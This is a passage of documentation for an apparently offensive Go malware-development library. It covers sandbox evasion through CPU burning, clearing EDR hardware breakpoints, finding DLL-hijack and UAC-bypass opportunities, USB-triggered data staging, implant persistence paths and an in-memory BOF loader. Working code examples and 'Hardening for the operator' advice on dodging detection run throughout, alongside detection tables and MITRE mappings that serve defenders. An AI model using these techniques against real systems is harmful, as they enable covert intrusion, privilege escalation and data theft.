budgets, and a 30-second CPU burn forces them to either
fast-forward (impossible — there's no kernel hook for "spin
faster") or use up their budget.
Two implementations, both cross-platform:
BusyWait— repeatedly comparestime.Now()to the deadline. Pinning one core at 100% in a tight comparison is cheap to fingerprint behaviourally.BusyWaitPrimality— burns CPU via primality testing. Same wall-clock effect, more "math workload"-like CPU pattern.
How It Works
sequenceDiagram
participant Imp as "Implant"
participant Hook as "Sandbox<br>(Sleep hook)"
participant CPU
Note over Imp: Naive Sleep — sandbox fast-forwards
Imp->>Hook: Sleep(30 * time.Second)
Hook-->>Imp: instant return
Note over Imp: BusyWait — sandbox can't fast-forward CPU loops
Imp->>CPU: for time.Now() < deadline { … }
CPU-->>Imp: 30 s real wall-clock burned
Note over Imp: Sandbox analysis budget exhausted
API Reference
| Symbol | Description |
|---|---|
BusyWait(d time.Duration) | Burn CPU for d via time comparison |
BusyWaitTrig(d) | Same with trigonometric work for variation |
BusyWaitPrimality() | Burn CPU via primality testing for ~30 s |
BusyWaitPrimalityN(n int) | N iterations of primality testing |
Examples
Simple — 30-second burn at startup
import (
"time"
"github.com/oioio-space/maldev/recon/timing"
)
timing.BusyWait(30 * time.Second)
// Sandbox analysis budget likely exhausted; continue.
Composed — primality variant
timing.BusyWaitPrimalityN(50_000_000)
// ~30 s on modern hardware; CPU pattern looks like prime sieving.
Pipeline — sandbox bail + timing
import (
"context"
"os"
"github.com/oioio-space/maldev/recon/sandbox"
"github.com/oioio-space/maldev/recon/timing"
)
if hit, _, _ := sandbox.New(sandbox.DefaultConfig()).IsSandboxed(context.Background()); hit {
os.Exit(0)
}
timing.BusyWait(30 * time.Second) // catch sandboxes that bypassed dimension checks
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| 100% CPU on one core for sustained periods | Behavioural EDR rarely flags; some hypervisor-aware sandboxes do |
| Process at 100% CPU then transitions to network I/O | Pattern-matching EDR may correlate |
time.Now() syscall storms | Per-call telemetry — invisible at user-mode |
D3FEND counters:
- D3-EI — sandbox design itself.
Hardening for the operator:
- Use
BusyWaitPrimalityoverBusyWaitfor less-fingerprintable CPU pattern. - Stagger BusyWait calls between meaningful operations rather than one giant block at startup — looks more like a long-running workload, less like a sandbox-detection sentinel.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1497.003 | Virtualization/Sandbox Evasion: Time Based Evasion | full — CPU-burn defeats Sleep hooks | D3-EI |
Limitations
- CPU spike. 100% CPU on a target with idle expectations is itself a tell; calibrate duration against target's expected workload.
- Doesn't help against real targets. A 30-second startup delay is user-visible on real targets — only acceptable for background services / persistence binaries.
- No defeat for live VM emulation. Sandboxes running on bare-metal at full speed can still capture full behaviour; CPU-burn just prevents the trivial Sleep-hook bypass.
See also
- Sandbox orchestrator — multi-factor evasion.
evasion/sleepmask— pair to hide payload at-rest during BusyWaits.- Operator path.
- Detection eng path.
Hardware breakpoint detection & clear
TL;DR
EDRs (notably CrowdStrike Falcon) place hardware breakpoints on
NT function prologues using DR0-DR3 — invisible to the classic
ntdll-on-disk-unhook pass. Detect
reads DR0-DR3 across every thread and returns those pointing
into ntdll; ClearAll zeros them via
SetThreadContext.
Primer
Hardware debug registers DR0-DR3 hold up to four breakpoint
addresses; DR6 is the status register, DR7 controls
enable/condition/length. The kernel maintains DR state
per-thread; user-mode reads/writes via GetThreadContext /
SetThreadContext.
EDRs use HWBPs to monitor Nt* calls without modifying ntdll's
.text. A breakpoint set at NtOpenProcess+0 triggers a
#DB exception on entry that the EDR's vectored exception
handler intercepts. Because .text is unchanged, classic
"unhook ntdll from disk" defeats inline hooks but does not
defeat HWBPs.
recon/hwbp reads DR0-DR3 across every thread in the current
process, identifies breakpoints pointing into ntdll, and
clears them.
How It Works
flowchart TD
START["Walk threads in process"] --> SUSP["SuspendThread"]
SUSP --> CTX["GetThreadContext<br>CONTEXT_DEBUG_REGISTERS"]
CTX --> DR{"DR0-DR3 set?"}
DR -- yes --> RESOLVE["resolve address to module"]
RESOLVE --> NTDLL{"in ntdll?"}
NTDLL -- yes --> COLLECT["Breakpoint TID Register Address"]
NTDLL -- no --> SKIP["skip"]
DR -- no --> NEXT["next thread"]
COLLECT --> NEXT
NEXT --> RESUME["ResumeThread"]
RESUME --> NEXT2["continue walk"]
ClearAll walks the same threads, zeros DR0-DR3 + DR7 via
SetThreadContext, and resumes.
API Reference
| Symbol | Description |
|---|---|
Detect() ([]Breakpoint, error) | HWBPs pointing into ntdll |
DetectAll() ([]Breakpoint, error) | Every set HWBP regardless of target |
ClearAll() (int, error) | Zero DR0-DR3 + DR7 across all threads; returns count cleared |
Technique() evasion.Technique | evasion.Technique adapter for evasion.ApplyAll |
type Breakpoint: TID, Register (0-3), Address,
Module (e.g. "ntdll.dll").
Examples
Simple — detect + report
import "github.com/oioio-space/maldev/recon/hwbp"
bps, _ := hwbp.Detect()
for _, bp := range bps {
fmt.Printf("DR%d → %x in %s (TID %d)\n",
bp.Register, bp.Address, bp.Module, bp.TID)
}
Composed — clear if any found
if bps, _ := hwbp.Detect(); len(bps) > 0 {
if cleared, err := hwbp.ClearAll(); err == nil {
fmt.Printf("cleared %d HWBP(s)\n", cleared)
}
}
Advanced — chain with ntdll unhook
Full integrity restore: clear HWBPs + unhook inline hooks.
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/unhook"
"github.com/oioio-space/maldev/recon/hwbp"
)
techs := []evasion.Technique{
hwbp.Technique(), // clear DR0-DR3
unhook.Classic("NtOpenProcess"), // unhook inline
unhook.Classic("NtAllocateVirtualMemory"),
// ...
}
_ = evasion.ApplyAll(techs, nil)
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
SetThreadContext(CONTEXT_DEBUG_REGISTERS) | EDRs that hook this API see the clear; rare but not unknown |
Sustained SuspendThread / ResumeThread cycles | Behavioural anomaly on idle processes |
| ETW Microsoft-Windows-Threat-Intelligence DR-register-write events | Win11 22H2+ ETW-Ti provider; few SOCs subscribe |
| HWBPs cleared while EDR expects them set | EDR self-checks may detect (rare in production) |
D3FEND counters:
- D3-PSA — debug-register manipulation telemetry.
- D3-SCA — kernel-side syscall observation unaffected by HWBP clear.
Hardening for the operator:
- Pair with
evasion/unhookin a singleevasion.ApplyAllchain to clear HWBPs + inline hooks together. - Use
win/syscalldirect/indirect syscalls even after clearing — defeats both inline + HWBP regardless of clear success. - Re-check periodically — long-running implants may see EDR re-set HWBPs on thread creation.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1622 | Debugger Evasion | full — DR0-DR3 inspection + clear | D3-PSA |
| T1027.005 | Indicator Removal from Tools | partial — neutralises EDR HWBPs | D3-PSA |
Limitations
- Per-process, per-thread. New threads created after
ClearAllmay receive fresh HWBPs from the EDR. - Kernel-set HWBPs untouchable. Some EDRs use kernel callbacks to set HWBPs on every thread creation; clearing user-mode just defers the problem to the next new thread.
- Detection requires module attribution.
Detectonly reports breakpoints in ntdll; HWBPs in other modules (kernelbase, user32) are missed unless usingDetectAll. - Wow64 inheritance. 32-bit threads under WoW64 use a separate DR context; this package targets the native context.
- Thread suspension visible. SuspendThread is itself monitored by some EDRs.
See also
evasion/unhook— pair to also clear inline hooks.win/syscall— bypass both inline + HWBP regardless.- Operator path.
- Detection eng path.
DLL search-order hijack discovery
TL;DR
Discover DLL-search-order hijack opportunities across services,
running processes, scheduled tasks, and autoElevate=true
binaries. ScanAll returns
Opportunity records carrying the writable hijack path + the
legitimate resolved DLL location. Validate
proves the hijack works by dropping a canary; Rank
prioritises by integrity gain.
Primer
A DLL hijack works when an application loads xyz.dll and
Windows resolves the load via the search-order rules — first
the application directory, then System32, then PATH. If the
operator can drop a xyz.dll in a writable directory the
application checks before System32, the operator's code
runs at the next load.
This package finds those opportunities programmatically:
- Services — services running as SYSTEM whose binary path is in a writable directory + missing IAT-imported DLL = root on next service start.
- Processes — live process IATs walked via Toolhelp32; same filter.
- Scheduled tasks — registered tasks parsed via COM ITaskService.
- AutoElevate — System32
.exewhose manifest carriesautoElevate=true(fodhelper, sdclt, eventvwr, …) — these silently elevate without UAC prompt; a hijack here is a textbook UAC bypass.
KnownDLLs (HKLM\…\Session Manager\KnownDLLs) are excluded —
those are early-load-mapped from \KnownDlls\ and bypass the
search order entirely.
How It Works
flowchart LR
subgraph scan [Scanners]
SVC["ScanServices<br>SCM enum + IAT walk"]
PROC["ScanProcesses<br>Toolhelp32 + loaded modules"]
TASK["ScanScheduledTasks<br>COM ITaskService"]
AE["ScanAutoElevate<br>System32 manifest filter"]
end
SVC --> ALL["ScanAll returns Opportunity slice"]
PROC --> ALL
TASK --> ALL
AE --> ALL
ALL --> RANK["Rank<br>integrity-gain score"]
RANK --> VAL["Validate<br>drop canary + trigger"]
VAL --> CONF["ValidationResult<br>confirmed hijack"]
API Reference
| Symbol | Description |
|---|---|
ScanAll(opts...) ([]Opportunity, error) | Aggregate all four scanners |
ScanServices, ScanProcesses, ScanScheduledTasks, ScanAutoElevate | Individual scanners |
Rank(opps) []Opportunity | Score by integrity gain + autoElevate |
Validate(opp, canary, opts) (*ValidationResult, error) | Drop canary, trigger, observe |
SearchOrder(exeDir) []string | DLL search-order resolution |
HijackPath(exeDir, dllName) (hijackDir, resolvedDir string) | First writable dir < first legitimate dir |
IsAutoElevate(peBytes) bool | Manifest probe |
Opportunity carries: Kind, ID, DisplayName, Binary,
MissingDLL, HijackedPath, ResolvedDLL, IntegrityGain,
AutoElevate.
Examples
Simple — list ranked opportunities
import "github.com/oioio-space/maldev/recon/dllhijack"
opps, _ := dllhijack.ScanAll()
for _, o := range dllhijack.Rank(opps)[:5] {
fmt.Printf("%s %s → %s\n", o.Kind, o.DisplayName, o.HijackedPath)
}
Composed — UAC-bypass scan only
ae, _ := dllhijack.ScanAutoElevate()
for _, o := range ae {
fmt.Printf("UAC bypass: drop %s in %s\n", o.MissingDLL, o.HijackedPath)
}
Advanced — validate before deploying
canary, _ := os.ReadFile("canary.dll") // emits a marker file on load
res, err := dllhijack.Validate(opp, canary, dllhijack.ValidateOpts{
TriggerFunc: func() error { /* invoke the victim */ return nil },
Timeout: 30 * time.Second,
})
if err == nil && res.Triggered {
// confirmed; safe to drop the real payload
}
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Write to service directory by non-installer process | EDR file-write telemetry — high-fidelity |
New DLL in %PROGRAMFILES%\… written by user-context process | Defender ASR rule |
| DLL load from non-System32 path with System32 binary name | EDR module-load rule |
| AutoElevate exe spawning child from unusual path | Defender for Endpoint MsSense flags |
| Sysmon Event 7 (image loaded) for unsigned DLL in System32-adjacent path | Universal high-fidelity |
D3FEND counters:
Hardening for the operator:
- Drop the hijack DLL with a Microsoft Authenticode signature
via
pe/cert.Copy. - Match
VERSIONINFOto the legitimate DLL viape/masquerade. - Validate before deploying —
Validateruns the canary in isolation, no implant exposure. - Prefer
ScanAutoElevateresults: UAC bypass is the highest integrity-gain category.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1574.001 | Hijack Execution Flow: DLL Search Order Hijacking | full | D3-EAL, D3-FCA |
| T1548.002 | Abuse Elevation Control Mechanism: Bypass UAC | partial — autoElevate hijacks | D3-EAL |
Limitations
- Static IAT only by default. Runtime
LoadLibrarycalls not in the IAT are missed unlessScanProcesseshappens to catch them via Toolhelp32. - Validate may detonate.
Validateactually runs the canary in the target's context — operators must understand the side-effects of triggering the victim. - Admin scans.
ScanServicesenumerates SCM-registered services; some entries return ACCESS_DENIED without admin. - AutoElevate fragility. Microsoft has been silently hardening autoElevate binaries — the canonical fodhelper bypass is patched on Win11; verify per build.
See also
pe/dllproxy— pure-Go forwarder DLL emitter; the natural payload generator for the Opportunities discovered here.pe/imports— sibling import-table walker.pe/cert— sign the hijack DLL.pe/masquerade— clone target DLL identity.persistence/service— alternative SYSTEM persistence.- Operator path.
- Detection eng path.
Drive enumeration & monitoring
TL;DR
Enumerate Windows logical drives (New
LogicalDriveLetters) and watch for new drives (NewWatcher+Watch). EachInfocarries letter, type (TypeFixed/TypeRemovable/TypeNetwork/ …), and volume metadata (label, serial, filesystem). Used for USB-insertion triggers, SMB-share discovery, and removable-media data staging.
Primer
The Windows storage model exposes drives via single-letter
roots (A:-Z:). GetLogicalDrives returns a bitmask of
present letters; GetDriveTypeW classifies each (fixed /
removable / network / CD-ROM / RAM-disk); GetVolumeInformationW
returns label + serial + filesystem.
Operationally:
- Initial discovery — at startup, identify mounted shares, network drives, removable media for staging targets.
- Watch loop — long-running implants poll for new drives; USB key insert is a common data-staging trigger.
How It Works
flowchart LR
GLD[GetLogicalDrives<br>letter bitmask] --> LET[A: B: C: …]
LET --> TYPE[GetDriveTypeW<br>per-letter classification]
LET --> VOL[GetVolumeInformationW<br>label + serial + FS]
TYPE --> INFO[Info<br>Letter / Type / Volume]
VOL --> INFO
INFO --> WATCH[Watcher<br>poll snapshot diff]
WATCH --> EVT[Event<br>EventAdded / EventRemoved]
Watcher polling is configurable (default 200 ms). Snapshots
are diffed; new entries emit EventAdded, removed entries
emit EventRemoved. The FilterFunc lets callers narrow to
e.g. TypeRemovable only.
API Reference
| Symbol | Description |
|---|---|
type Info | Letter + Type + Volume metadata |
type Type | TypeFixed / TypeRemovable / TypeNetwork / TypeCDROM / TypeRAM / TypeUnknown |
type EventKind | EventAdded / EventRemoved |
New(letter) (*Info, error) | Resolve single drive |
LogicalDriveLetters() ([]string, error) | Every present drive letter |
TypeOf(root) Type | Per-root classification |
VolumeOf(root) (*VolumeInfo, error) | Volume label + serial + FS |
NewWatcher(ctx, filter) *Watcher | Watcher (consumed by both watcher modes below) |
(*Watcher).Watch(interval) (<-chan Event, error) | Polling mode. Re-enumerates drives every interval. Headless-process compatible — no message pump required. |
(*Watcher).WatchEvents(buffer) (<-chan Event, error) | Event mode (NEW). Hidden message-only window subscribed to WM_DEVICECHANGE. Zero CPU at idle, ms-latency wake on DBT_DEVICEARRIVAL / DBT_DEVICEREMOVECOMPLETE. Requires an interactive session for the broadcast to land. |
(*Watcher).Snapshot() ([]*Info, error) | Current snapshot |
(*Watcher).WatchEvents(buffer int) (<-chan Event, error)
Event-driven watcher. Internally:
- Locks the goroutine to its OS thread (mandatory — Win32 message pumps can't migrate).
- Registers a
WNDCLASSEXWand creates a message-only window (HWND_MESSAGE). - Receives
WM_DEVICECHANGEand triggersSnapshot+diffonDBT_DEVICEARRIVAL/DBT_DEVICEREMOVECOMPLETE. - On
ctx.Done(), postsWM_CLOSEso the pump exits viaWM_DESTROY → WM_QUIT, destroys the window, unregisters the class, closes the channel.
Parameters:
buffer— channel capacity.0is synchronous;≥ 4recommended for burst-friendly consumers (USB hub re-enumeration emits multipleWM_DEVICECHANGEs in quick succession).
Returns:
<-chan Event— closed onctxcancel.error— non-nil whenRegisterClassExW/CreateWindowExWfails before the pump starts. Per-iteration errors arrive on the channel asEvent{Err: ...}instead of being returned.
Side effects: registers a window class on the calling process for the lifetime of the watcher.
OPSEC: very-quiet — message-only windows aren't enumerated by
EnumWindows and don't appear in Spy++ default views. Visible only
to a debugger walking User Atom Tables for the registered class
name (MaldevDriveWatcher).
Required privileges: unprivileged.
Platform: windows (interactive session — service / SYSTEM
contexts receive no WM_DEVICECHANGE broadcasts).
When to pick which:
| Situation | Use |
|---|---|
| Headless / SYSTEM service / no interactive session | Watch(interval) (polling) |
| Foreground / interactive process | WatchEvents(buffer) (event-driven) |
| You don't care about CPU at idle and want simple semantics | Watch(interval) |
| You want sub-second latency and zero idle CPU | WatchEvents(buffer) |
Examples
Simple — single-drive lookup
import "github.com/oioio-space/maldev/recon/drive"
d, _ := drive.New("C:")
fmt.Printf("%s %s\n", d.Letter, d.Type)
Composed — list all removables
letters, _ := drive.LogicalDriveLetters()
for _, l := range letters {
if drive.TypeOf(l+`\`) == drive.TypeRemovable {
info, _ := drive.New(l)
fmt.Println(info.Letter, info.Volume.Label)
}
}
Advanced — USB-insert trigger (polling)
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
w := drive.NewWatcher(ctx, func(d *drive.Info) bool {
return d.Type == drive.TypeRemovable
})
ch, _ := w.Watch(500 * time.Millisecond)
for ev := range ch {
if ev.Kind == drive.EventAdded {
// stage data on the inserted USB
stageData(ev.Drive.Letter)
}
}
Advanced — event-driven (WM_DEVICECHANGE)
Same use-case, zero-CPU at idle. Requires an interactive
session — use the polling variant on services / SYSTEM contexts
where WM_DEVICECHANGE doesn't broadcast.
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
w := drive.NewWatcher(ctx, func(d *drive.Info) bool {
return d.Type == drive.TypeRemovable
})
ch, err := w.WatchEvents(4) // buffer 4 — USB hub re-enum bursts
if err != nil {
return err // RegisterClassExW / CreateWindowExW failure
}
for ev := range ch {
if ev.Kind == drive.EventAdded {
stageData(ev.Drive.Letter)
}
}
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
GetLogicalDrives polling | Universal API — invisible at user-mode |
| Sustained 200 ms polling on idle process | Behavioural EDR may flag CPU patterns; raise interval |
| Subsequent file writes to removable media | EDR file-write telemetry — high-fidelity for sensitive paths |
D3FEND counters:
- D3-FCA — DLP scans on writes to removable media.
Hardening for the operator:
- Raise watch interval (1-2 s) on idle hosts.
- Don't write to removable media while polling — the correlation is the high-fidelity signal.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1120 | Peripheral Device Discovery | full | D3-FCA |
| T1083 | File and Directory Discovery | partial — drive enumeration is a sibling primitive | D3-FCA |
Limitations
- Two watcher modes, pick per session shape.
Watch(interval)polls and works headless / in services / under SYSTEM (any context with no message broadcast).WatchEvents(buffer)usesWM_DEVICECHANGEand needs an interactive session — service / SYSTEM contexts get no broadcast. Both modes share the sameSnapshot+ diff machinery, so swapping is one line. WatchEventsrequires an OS-thread-locked goroutine. The Win32 message pump cannot migrate threads, so the pump goroutineruntime.LockOSThreads for its entire lifetime. This adds one OS thread to the implant for the duration of the watcher.WatchEventsregisters a window class. The class (MaldevDriveWatcher) is a uint atom in the per-process user-atom table — invisible toEnumWindowsbut discoverable by a debugger walking atom tables.- Volume serial may be 0. Some virtual drives (RAM disks, some VPN drives) report serial 0.
- Network drives cached. Mapped network drives that drop
off may take several poll cycles to surface as
EventRemovedunderWatch.WatchEventsfires onWM_DEVICECHANGE, which DOES broadcast network-drive arrival / removal — better latency on this class. - Windows only. No Linux equivalent in this package; use
inotify/udevdirectly.
See also
recon/folder— sibling Windows special-folder resolution.recon/network— sibling network-interface enumeration (a UNC\\server\share"drive" is a network resource).- Operator path.
- Detection eng path.
Windows special-folder paths
TL;DR
Resolve Windows special folder paths (Desktop, AppData,
Startup, Program Files, …) via SHGetSpecialFolderPathW. Used
by persistence/startup for StartUp-folder paths, by
credentials/lsassdump for %SystemRoot%\System32\ntoskrnl.exe,
and by any payload that needs a per-user / per-machine
well-known path.
Primer
Windows uses CSIDL (Constant Special ID List) values to
identify well-known folders abstractly. SHGetSpecialFolderPathW
takes a CSIDL constant and returns the resolved filesystem path,
handling per-user / per-machine differences and folder
redirection in domain environments transparently.
The function is technically deprecated in favor of
SHGetKnownFolderPath (Vista+, KNOWNFOLDERID enum), but the
older API remains widely supported and avoids COM
initialization overhead.
API Reference
Two paths: the modern [GetKnown] (KNOWNFOLDERID, recommended by Microsoft for new code) and the legacy [Get] (CSIDL, kept for backwards compatibility).
GetKnown(rfid *windows.KNOWNFOLDERID, flags uint32) (string, error)
Thin wrapper around golang.org/x/sys/windows.KnownFolderPath —
that helper already handles the SHGetKnownFolderPath HRESULT
contract + CoTaskMemFree of the API-allocated PWSTR. The
package-local wrapper exists only to wrap the underlying error
in ErrKnownFolderNotFound
for errors.Is discrimination on the caller side.
Parameters:
rfid— pointer to one of thewindows.FOLDERID_*constants (e.g.windows.FOLDERID_RoamingAppData) or awindows.KNOWNFOLDERIDparsed from a custom GUID (3rd-party Shell extensions).flags— bitwise OR of anywindows.KF_FLAG_*bits — typically0(default),windows.KF_FLAG_CREATE(force directory creation),windows.KF_FLAG_DONT_VERIFY(skip existence check).
Returns:
string— resolved path. NotMAX_PATH-capped.error— wrapsErrKnownFolderNotFoundvia%wwhen Shell32 returns a non-success HRESULT.
Side effects: none. windows.KnownFolderPath releases the
API-allocated PWSTR internally.
OPSEC: very-quiet. SHGetKnownFolderPath is in every
modern installer / Office app / browser path.
Required privileges: unprivileged.
Platform: windows ≥ Vista (KNOWNFOLDERID introduced in Vista).
Get(csidl CSIDL, createIfNotExist bool) string
Legacy path. Resolves a CSIDL constant via
SHGetSpecialFolderPathW. Microsoft recommends GetKnown for
new code; keep this for callers that already key on CSIDL.
Parameters:
csidl— one of theCSIDL_*constants.createIfNotExist— passtrueto create the folder when missing.
Returns:
string— resolved path or empty on failure.
Side effects: caps at MAX_PATH (260 chars).
OPSEC: very-quiet. Universal Win32 API.
Required privileges: unprivileged.
Platform: windows (all versions).
Common KNOWNFOLDERID constants
Use any windows.FOLDERID_* GUID directly — the catalogue lives
in golang.org/x/sys/windows
and covers everything from FOLDERID_Profile /
FOLDERID_Desktop / FOLDERID_Documents / FOLDERID_Downloads
to per-extension entries that 3rd-party Shell extensions
register. No package-local re-export — saves the maintenance
burden of mirroring upstream.
Common CSIDL constants (legacy)
CSIDL_DESKTOP, CSIDL_APPDATA, CSIDL_LOCAL_APPDATA,
CSIDL_COMMON_APPDATA, CSIDL_STARTUP, CSIDL_COMMON_STARTUP,
CSIDL_PROGRAM_FILES, CSIDL_PROGRAM_FILESX86, CSIDL_SYSTEM,
CSIDL_WINDOWS, CSIDL_TEMPLATES.
Examples
Simple — modern KNOWNFOLDERID
import (
"github.com/oioio-space/maldev/recon/folder"
"golang.org/x/sys/windows"
)
appdata, _ := folder.GetKnown(windows.FOLDERID_RoamingAppData, 0)
downloads, _ := folder.GetKnown(windows.FOLDERID_Downloads, 0)
system, _ := folder.GetKnown(windows.FOLDERID_System, 0)
// Force creation (KFF_CREATE) when staging a per-user drop directory:
stage, _ := folder.GetKnown(windows.FOLDERID_LocalAppData, windows.KF_FLAG_CREATE)
Simple — legacy CSIDL
appdata := folder.Get(folder.CSIDL_APPDATA, false)
startup := folder.Get(folder.CSIDL_STARTUP, false)
system := folder.Get(folder.CSIDL_SYSTEM, false)
Composed — feed persistence
import (
"path/filepath"
"github.com/oioio-space/maldev/recon/folder"
)
implant := filepath.Join(
folder.Get(folder.CSIDL_LOCAL_APPDATA, false),
"Microsoft", "OneDrive", "Update", "winupdate.exe",
)
Advanced — resolve ntoskrnl path for kernel-driver work
ntos := filepath.Join(
folder.Get(folder.CSIDL_SYSTEM, false),
"ntoskrnl.exe",
)
// feeds credentials/lsassdump.DiscoverProtectionOffset(ntos, opener)
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
SHGetSpecialFolderPathW calls | Universal Win32 API — invisible |
| Subsequent file writes to resolved paths | EDR file-write telemetry; flag depends on the path |
D3FEND counters: none specific — primitive itself is universally legitimate.
Hardening: none — the call is invisible. Hardening is at the consumer (the writes the path drives).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1083 | File and Directory Discovery | full | — |
Limitations
- CSIDL is the legacy path. Microsoft recommends
KNOWNFOLDERID for new code. The package now ships both:
use
GetKnownfor new callers;Getstays for backwards compatibility. KNOWNFOLDERID also exposes folders the legacy CSIDL set cannot resolve (FOLDERID_Downloads, third-party Shell extensions). GetKnownreturns API-allocated PWSTR. The wrapper frees it viaCoTaskMemFreeon every call — never returns a borrowed buffer the caller must clean up.- MAX_PATH cap on
Getonly. The legacy path truncates paths longer than 260 chars (Get);GetKnownis uncapped. - Some virtual folders return empty.
CSIDL_NETWORK,CSIDL_PRINTERS, and similar non-filesystem virtual folders return empty strings. - Folder redirection is opaque. Domain-joined hosts with redirected user folders return the redirected (network) path, not the local cached one — operators relying on local-only paths must validate.
See also
persistence/startup— primary consumer (StartUp folder).credentials/lsassdump— consumer (System32 path resolution).recon/drive— sibling drive enumeration.- Operator path.
- Detection eng path.
IP address & local-network detection
TL;DR
Cross-platform IP enumeration (InterfaceIPs)
and local-address detection (IsLocal).
Used to fingerprint sandboxes (looped-back /29 networks),
source-aware C2 (avoid beaconing the same IP), and "is this
hostname us?" checks.
Primer
InterfaceIPs walks net.Interfaces + each interface's
Addrs — same surface every Go network tool uses. Returns a
flat []net.IP covering loopback + physical + virtual + VPN
adapters.
IsLocal decides whether a given input — IP literal, FQDN, or
hostname — resolves to one of the host's own interfaces. DNS
resolution runs if the input isn't already an IP literal.
Used for "is this C2 endpoint actually our own host (sandbox
hairpinning)?" probes.
API Reference
| Symbol | Description |
|---|---|
InterfaceIPs() ([]net.IP, error) | Every IP across every interface |
IsLocal(IPorDN any) (bool, error) | Input is one of host's IPs |
var ErrNotIPorDN | Input is neither IP nor parseable hostname |
Examples
Simple — list interface IPs
import "github.com/oioio-space/maldev/recon/network"
ips, _ := network.InterfaceIPs()
for _, ip := range ips {
fmt.Println(ip.String())
}
Composed — avoid C2 self-target
ok, err := network.IsLocal("c2.example.com")
if err == nil && ok {
// C2 host resolves to our own IP — sandbox hairpin trick;
// bail out.
return
}
Advanced — sandbox fingerprint
Sandboxes commonly run on /29 (8 host) or /30 networks
with predictable gateway patterns. Combined with recon/sandbox
this is one indicator among many.
ips, _ := network.InterfaceIPs()
for _, ip := range ips {
if ip.IsLoopback() {
continue
}
// narrow nets / private 10.0.0.x are common in sandboxes —
// calibrate to the target environment
}
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
net.Interfaces walks | Universal Go runtime call — invisible |
DNS lookups for IsLocal inputs | DNS telemetry sees the query; benign domain looks fine |
| Resolution failure on uncommon TLDs | Sandbox sinkholes resolve everything; real DNS NXDOMAINs |
D3FEND counters: none specific.
Hardening for the operator: avoid resolving the implant's
own C2 domain via IsLocal — the DNS query itself is a
fingerprint.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1016 | System Network Configuration Discovery | full | — |
Limitations
- No interface metadata beyond IP. MAC, MTU, link state
are out of scope; use
net.Interfacesdirectly. - DNS overhead.
IsLocalon a hostname triggers DNS resolution; cache the result for hot paths. - No IPv6 hairpin awareness.
IsLocalworks on IPv6 literals but does not normalise scopes; link-local addresses may behave unexpectedly.
See also
recon/sandbox— multi-factor environment detection.c2/transport— consumer for source-IP-aware callback profiles.- Operator path.
- Detection eng path.
In-process runtimes
In-process loaders that execute foreign code (BOFs, .NET assemblies) without spawning child processes. The implant becomes its own post-exploitation runtime — useful when child-process creation is heavily monitored.
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
runtime/bof | bof-loader.md | quiet | Beacon Object File / COFF loader for in-memory x64 object-file execution |
runtime/clr | clr.md | moderate | In-process .NET CLR hosting via ICLRMetaHost / ICorRuntimeHost |
Quick decision tree
| You want to… | Use |
|---|---|
| …run a small custom C-compiled gadget without dropping an EXE | runtime/bof |
| …run a .NET assembly (Mimikatz, Seatbelt, SharpHound) in-process | runtime/clr |
| …drop a managed assembly to disk and run it | not this area — see Donut via pe/srdi |
MITRE ATT&CK
| T-ID | Name | Packages | D3FEND counter |
|---|---|---|---|
| T1059 | Command and Scripting Interpreter | runtime/bof (in-process gadget runtime) | D3-PSA |
| T1620 | Reflective Code Loading | runtime/clr | D3-PMA, D3-PSA |
See also
BOF (Beacon Object File) loader
TL;DR
Load + execute a Cobalt Strike-style Beacon Object File (BOF) —
a compiled COFF object — entirely in process memory. Parses
COFF, applies relocations, resolves entry-point, jumps into
RWX memory. x64-only; no Beacon-API helpers (BOFs that call
BeaconOutput etc. crash).
Primer
A BOF is a relocatable COFF (.o) object compiled by MSVC /
MinGW. The format is the same as Linux's .o but for Windows
PE-style relocations. BOFs were popularised by Cobalt Strike's
inline-execute command — a tactical execution primitive that
runs a small piece of native code inside the implant's process
without spawning a fresh process or writing a PE to disk.
Use cases:
- Run small Windows-API-heavy snippets (token enum, share enum, share scan) that don't need a full PE infrastructure.
- Distribute compiled techniques as a
.oartefact rather than a full implant. - Compose with the implant's runtime — the BOF runs in the caller's address space, so it can interact with implant state directly.
How It Works
flowchart LR
INPUT[BOF .o bytes] --> PARSE[parse COFF<br>header + sections]
PARSE --> ALLOC[VirtualAlloc RWX<br>copy .text + .data]
ALLOC --> RELOC[apply relocations<br>ADDR64 / ADDR32NB / REL32]
RELOC --> SYM[resolve entry symbol<br>from COFF symtab]
SYM --> EXEC[jump to entry<br>via function ptr]
EXEC --> OUT[capture output<br>via stdout redirect]
API Reference
| Symbol | Description |
|---|---|
type BOF | Loaded BOF instance |
Load(data []byte) (*BOF, error) | Parse + relocate + ready to execute |
(*BOF).Execute(args []byte) ([]byte, error) | Run the entry point; return captured stdout |
Examples
Simple — load + execute
import (
"os"
"github.com/oioio-space/maldev/runtime/bof"
)
data, _ := os.ReadFile("whoami.o")
b, err := bof.Load(data)
if err != nil {
return
}
output, _ := b.Execute(nil)
fmt.Println(string(output))
Composed — chain multiple BOFs
for _, path := range []string{"whoami.o", "netstat.o", "tasklist.o"} {
data, _ := os.ReadFile(path)
b, err := bof.Load(data)
if err != nil {
continue
}
out, _ := b.Execute(nil)
fmt.Printf("=== %s ===\n%s\n", path, out)
}
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
VirtualAlloc(RWX) followed by EXECUTE from the alloc | Behavioural EDR — high-fidelity reflective-loader signal |
Module-load events for non-stack .text regions | ETW Microsoft-Windows-Threat-Intelligence |
| BOF entry-point execution from non-image memory | Defender for Endpoint MsSense |
D3FEND counters:
Hardening for the operator:
- Allocate
